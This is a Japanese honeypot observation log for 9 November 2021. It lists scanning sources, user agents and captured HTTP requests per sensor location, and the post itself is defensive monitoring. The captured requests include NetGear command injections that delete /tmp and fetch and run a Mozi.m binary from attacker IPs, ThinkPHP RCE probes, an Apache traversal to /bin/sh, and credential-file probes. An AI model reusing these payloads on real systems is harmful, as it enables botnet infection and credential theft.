コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2021/11/09 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2021/11/09分です。

特徴
共通

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
/.envへのスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
Laravelへのスキャン行為
WordPress Pluginへのスキャン行為

Location：JP

Nmap Scripting Engineによるスキャン行為
WordPressへのスキャン行為
を確認しました。

Location：US

NetGear製品の脆弱性を狙うアクセス
curlによるスキャン行為
を確認しました。

Location：UK

NetGear製品の脆弱性を狙うアクセス
Oracle WebLogicの脆弱性(CVE-2020-14882,CVE-2020-14883,CVE-2020-14750)を狙うアクセス
Nmap Scripting Engineによるスキャン行為
クラウド環境のメタデータ情報を狙うアクセス
/.awsへのスキャン行為
を確認しました。

Location：SG

GPONルータの脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
UserAgentがHello, Worldであるアクセス
を確認しました。

他
アクセス数推移

JP：総アクセス数：95 (前日比：0)
US：総アクセス数：132 (前日比：+81)
UK：総アクセス数：121 (前日比：+77)
SG：総アクセス数：48 (前日比：-28)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 2.57.122.90 Romania
1 2.57.122.159 Romania
1 20.79.255.27 United States
6 35.174.207.158 United States
1 43.231.128.130 Indonesia
17 45.95.169.230 Croatia
12 45.146.164.110 Russia
2 52.91.182.84 United States
1 80.241.212.242 Germany
1 89.248.165.23 United Kingdom
1 100.25.160.83 United States
1 104.248.125.15 United States
5 118.194.234.230 Hong Kong
1 124.158.184.198 Indonesia
3 125.77.26.148 China
1 128.1.248.42 United States
1 128.14.134.170 United States
6 135.125.244.48 France
1 137.184.154.55 United States
1 137.184.197.71 United States
1 142.93.164.42 United States
1 143.110.234.82 United States
2 157.245.70.127 United States
1 159.203.18.202 United States
1 159.223.102.100 United States
2 159.223.120.25 United States
2 161.35.0.5 United States
2 161.35.212.57 United States
5 165.232.86.149 United States
2 167.71.23.71 United States
2 185.254.31.134 Turkey
1 192.241.199.29 United States
1 192.241.202.118 United States
1 192.241.205.109 United States
1 192.241.206.137 United States
4 198.20.87.98 United States
1 209.141.62.185 United States
1 222.66.148.170 China

UserAgent一覧

件数 UserAgent
15 -
1 Go-http-client/1.1
1 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
12 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
17 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36
33 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
2 Mozilla/5.0 (compatible; Nmap Scripting Engine; http[:]//nmap[.]org/book/nse.html)
4 Mozilla/5.0 (compatible; Nmap Scripting Engine; https[:]//nmap[.]org/book/nse.html)
4 Mozilla/5.0 zgrab/0.x
1 python-requests/2.18.4
1 python-requests/2.26.0

リクエスト内容一覧

件数 Method Request Protocol
1 \x03
1 \x16\x03\x01\x01C\x01
1 \x16\x03\x01\x01\xfa\x01
1 \x16\x03\x01\x02
34 GET /.env HTTP/1.1
2 GET /.git/config HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /2019/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /2020/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /CSS/Miniweb.css HTTP/1.1
1 GET /HNAP1 HTTP/1.1
1 GET /Portal0000.htm HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
4 GET /ab2g HTTP/1.1
4 GET /ab2h HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /blog/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /cms/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /evox/about HTTP/1.1
2 GET /favicon.ico HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /manager/html HTTP/1.1
1 GET /manager/text/list HTTP/1.1
1 GET /news/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /nmaplowercheck1636325774 HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /shop/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /site/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /sito/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /solr/ HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /test/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /web/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /webfig/ HTTP/1.1
1 GET /website/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wordpress/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET /wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp2/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /xmlrpc.php?rsd HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /api/jsonws/invoke HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /sdk HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 2.57.122.23 Romania
2 3.16.207.33 United States
1 34.96.130.29 United States
60 45.33.65.249 United States
12 45.146.164.110 Russia
1 49.89.62.123 China
1 51.254.49.107 France
1 54.145.32.199 United States
1 68.183.177.140 United States
1 87.251.64.137 Russia
1 88.214.57.235 Germany
2 89.248.165.23 United Kingdom
1 104.248.113.209 United States
1 128.14.134.170 United States
9 135.125.217.54 France
1 137.184.193.174 United States
1 137.184.197.91 United States
8 137.184.214.146 United States
2 145.239.154.82 France
2 157.245.70.127 United States
4 159.223.81.43 United States
1 159.223.102.100 United States
2 159.223.126.64 United States
2 159.223.136.26 United States
2 165.22.230.169 United States
2 167.71.23.73 United States
1 172.104.131.24 United States
1 192.241.197.61 United States
1 192.241.199.4 United States
1 192.241.199.97 United States
1 192.241.200.117 United States
1 193.118.53.194 United States
1 195.154.63.222 France
1 209.17.97.106 United States
2 209.141.62.185 United States

UserAgent一覧

件数 UserAgent
19 -
1 Mozila/5.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
12 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
27 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
5 Mozilla/5.0 zgrab/0.x
59 curl/7.54.0

リクエスト内容一覧

件数 Method Request Protocol
3 \x03
1 \x16\x03
2 \x16\x03\x01
1 \x16\x03\x01\x01\xfb\x01
1 \x16\x03\x01\x02
24 GET /.env HTTP/1.1
1 GET /.git/HEAD HTTP/1.1
1 GET /?0628182016134805143312 HTTP/1.1
1 GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 HTTP/1.1
1 GET /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /CSS/Miniweb.css HTTP/1.1
1 GET /HNAP1 HTTP/1.1
1 GET /Portal/Portal.mwsl HTTP/1.1
1 GET /Portal0000.htm HTTP/1.1
1 GET /__Additional HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
5 GET /ab2g HTTP/1.1
5 GET /ab2h HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /admin.asp HTTP/1.1
1 GET /admin.aspx HTTP/1.1
1 GET /admin.html HTTP/1.1
1 GET /admin.jhtml HTTP/1.1
1 GET /admin.jsa HTTP/1.1
1 GET /admin.jsp HTTP/1.1
1 GET /admin.php HTTP/1.1
1 GET /app/.env HTTP/1.1
1 GET /base.asp HTTP/1.1
1 GET /base.aspx HTTP/1.1
1 GET /base.cgi HTTP/1.1
1 GET /base.inc HTTP/1.1
1 GET /base.jsa HTTP/1.1
1 GET /base.pl HTTP/1.1
2 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /core/.env HTTP/1.1
1 GET /default.cgi HTTP/1.1
1 GET /default.html HTTP/1.1
1 GET /default.jhtml HTTP/1.1
1 GET /default.jsp HTTP/1.1
1 GET /default.php HTTP/1.1
1 GET /docs/cplugError.html/ HTTP/1.1
4 GET /favicon.ico HTTP/1.1
1 GET /home.cfm HTTP/1.1
1 GET /home.cgi HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.cfm HTTP/1.1
1 GET /index.jhtml HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /inicio.html HTTP/1.1
1 GET /inicio.jsp HTTP/1.1
1 GET /inicio.pl HTTP/1.1
1 GET /localstart.cfm HTTP/1.1
1 GET /localstart.jsp HTTP/1.1
1 GET /main.asp HTTP/1.1
1 GET /main.cfm HTTP/1.1
1 GET /main.html HTTP/1.1
1 GET /manager/html HTTP/1.1
1 GET /manager/text/list HTTP/1.1
1 GET /menu.aspx HTTP/1.1
1 GET /menu.html HTTP/1.1
1 GET /menu.jsa HTTP/1.1
1 GET /menu.shtml HTTP/1.1
1 GET /nmaplowercheck1636352687 HTTP/1.1
1 GET /pools HTTP/1.1
1 GET /pools/default/buckets HTTP/1.1
1 GET /public/.env HTTP/1.1
1 GET /readme.txt HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /rsF1 HTTP/1.1
1 GET /server-status HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//49[.]89[.]62[.]123:60102/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /solr/ HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /start.asp HTTP/1.1
1 GET /start.cfm HTTP/1.1
1 GET /start.jhtml HTTP/1.1
1 GET /start.php HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /webfig/ HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET default.asp HTTP/1.1
2 HEAD / HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /HNAP1/ HTTP/1.1
1 POST /api/jsonws/invoke HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /scripts/WPnBr.dll HTTP/1.1
1 POST /sdk HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
12 45.146.164.110 Russia
1 78.186.132.100 Turkey
1 89.248.165.23 United Kingdom
1 112.237.187.232 China
1 128.14.134.134 United States
65 129.213.107.147 United States
1 143.131.233.117 Spain
2 157.245.70.127 United States
2 159.203.37.49 United States
2 159.223.120.25 United States
2 161.35.0.5 United States
2 167.71.23.71 United States
11 167.114.62.163 Canada
1 167.172.71.174 United States
5 178.62.59.163 United States
2 185.254.31.134 Turkey
1 192.241.199.15 United States
1 192.241.203.227 United States
1 192.241.206.75 United States
1 192.241.206.112 United States
1 193.118.53.202 United States
1 209.17.97.106 United States
3 209.141.62.185 United States
1 218.86.92.143 China

UserAgent一覧

件数 UserAgent
16 -
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
12 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
8 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
65 Mozilla/5.0 (compatible; Nmap Scripting Engine; https[:]//nmap[.]org/book/nse.html)
1 Mozilla/5.0 Gecko/20100101
4 Mozilla/5.0 zgrab/0.x
10 Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36

リクエスト内容一覧

件数 Method Request Protocol
1 \x03
1 \x16\x03\x01
1 \x16\x03\x01\x01C\x01
1 \x16\x03\x01\x01\xfc\x01
1 GET /.aws/credentials HTTP/1.1
8 GET /.env HTTP/1.1
1 GET /.env.bak HTTP/1.1
1 GET /.git/HEAD HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /HNAP1 HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
5 GET /ab2g HTTP/1.1
5 GET /ab2h HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /admin/info/config HTTP/1.1
1 GET /api/spec.json HTTP/1.1
1 GET /aws.yml HTTP/1.1
1 GET /config.js HTTP/1.1
1 GET /config.json HTTP/1.1
1 GET /config/aws.yml HTTP/1.1
3 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /console/css/%252E%252E%252Fconsole.portal HTTP/1.1
1 GET /console/css/%252e%252e%252fconsole.portal HTTP/1.1
1 GET /console/images/%252E%252E%252Fconsole.portal HTTP/1.1
1 GET /console/images/%252e%252e%252fconsole.portal HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /manager/html HTTP/1.1
1 GET /manager/text/list HTTP/1.1
1 GET /nmaplowercheck1636331228 HTTP/1.1
1 GET /opc/v1/identity HTTP/1.1
1 GET /opc/v1/instance HTTP/1.1
1 GET /phpinfo HTTP/1.1
1 GET /phpinfo.php HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//112[.]237[.]187[.]232:43592/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /solr/ HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /spec/api.json HTTP/1.1
1 GET /ui HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /webfig/ HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 HEAD /actuator HTTP/1.1
1 HEAD /actuator/auditevents HTTP/1.1
1 HEAD /actuator/beans HTTP/1.1
1 HEAD /actuator/conditions HTTP/1.1
1 HEAD /actuator/configprops HTTP/1.1
1 HEAD /actuator/env HTTP/1.1
1 HEAD /actuator/health HTTP/1.1
1 HEAD /actuator/heapdump HTTP/1.1
1 HEAD /actuator/httptrace HTTP/1.1
1 HEAD /actuator/hystrix.stream HTTP/1.1
1 HEAD /actuator/info HTTP/1.1
1 HEAD /actuator/jolokia HTTP/1.1
1 HEAD /actuator/loggers HTTP/1.1
1 HEAD /actuator/mappings HTTP/1.1
1 HEAD /actuator/metrics HTTP/1.1
1 HEAD /actuator/scheduledtasks HTTP/1.1
1 HEAD /actuator/threaddump HTTP/1.1
1 HEAD /auditevents HTTP/1.1
1 HEAD /autoconfig HTTP/1.1
1 HEAD /beans HTTP/1.1
1 HEAD /cloudfoundryapplication HTTP/1.1
1 HEAD /configprops HTTP/1.1
1 HEAD /dump HTTP/1.1
1 HEAD /env HTTP/1.1
1 HEAD /health HTTP/1.1
1 HEAD /heapdump HTTP/1.1
1 HEAD /hystrix.stream HTTP/1.1
1 HEAD /info HTTP/1.1
1 HEAD /jolokia HTTP/1.1
1 HEAD /loggers HTTP/1.1
1 HEAD /mappings HTTP/1.1
1 HEAD /metrics HTTP/1.1
1 HEAD /threaddump HTTP/1.1
1 HEAD /trace HTTP/1.1
1 HYDN / HTTP/1.1
11 OPTIONS / HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
1 POST /api/jsonws/invoke HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /sdk HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 PROPFIND / HTTP/1.1
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 2.57.122.218 Romania
1 41.251.249.88 Morocco
12 45.146.164.110 Russia
2 89.248.165.23 United Kingdom
1 104.211.4.126 United States
1 104.248.113.209 United States
1 104.248.125.15 United States
1 104.248.239.153 United States
1 112.94.100.166 China
1 118.112.248.111 China
1 120.85.116.13 China
1 125.118.52.150 China
1 128.14.141.34 United States
1 135.125.217.54 France
1 137.184.202.162 United States
7 137.184.214.146 United States
1 152.89.246.68 Germany
3 163.172.159.134 United Kingdom
1 172.104.131.24 United States
1 178.128.117.28 United States
1 192.241.195.59 United States
1 192.241.199.9 United States
1 192.241.202.29 United States
1 193.56.29.142 United Kingdom
1 209.17.96.218 United States
3 209.141.62.185 United States

UserAgent一覧

件数 UserAgent
7 -
1 Hello, World
2 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
12 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (X11; CrOS x86_64 8172.45.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.64 Safari/537.36
13 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
4 Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数 Method Request Protocol
2 \x03
1 \x16\x03\x01
1 \x16\x03\x01\x01\xfb\x01
1 CONNECT www[.]bing[.]com:443 HTTP/1.1
15 GET /.env HTTP/1.1
1 GET /?0628182016134805143312 HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
1 GET /actuator/health HTTP/1.1
3 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /manager/html HTTP/1.1
1 GET /manager/text/list HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//125[.]118[.]52[.]150:42276/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /solr/ HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET http[:]//www[.]bing[.]com/ HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
1 POST /api/jsonws/invoke HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST http[:]//jaymelevitz[.]fun/942a7a107d7593cc4115fa5d646ff08ba861459493f6eb0d5bb39687b65c225a1c7ff74b5bd6463d9822b576f5ed05b7f3c7d63cba42f6b3c9464b248641f22b9e2fe846302881a3886868e04c108eac414df6492923a6894fe134e0740008c9 HTTP/1.1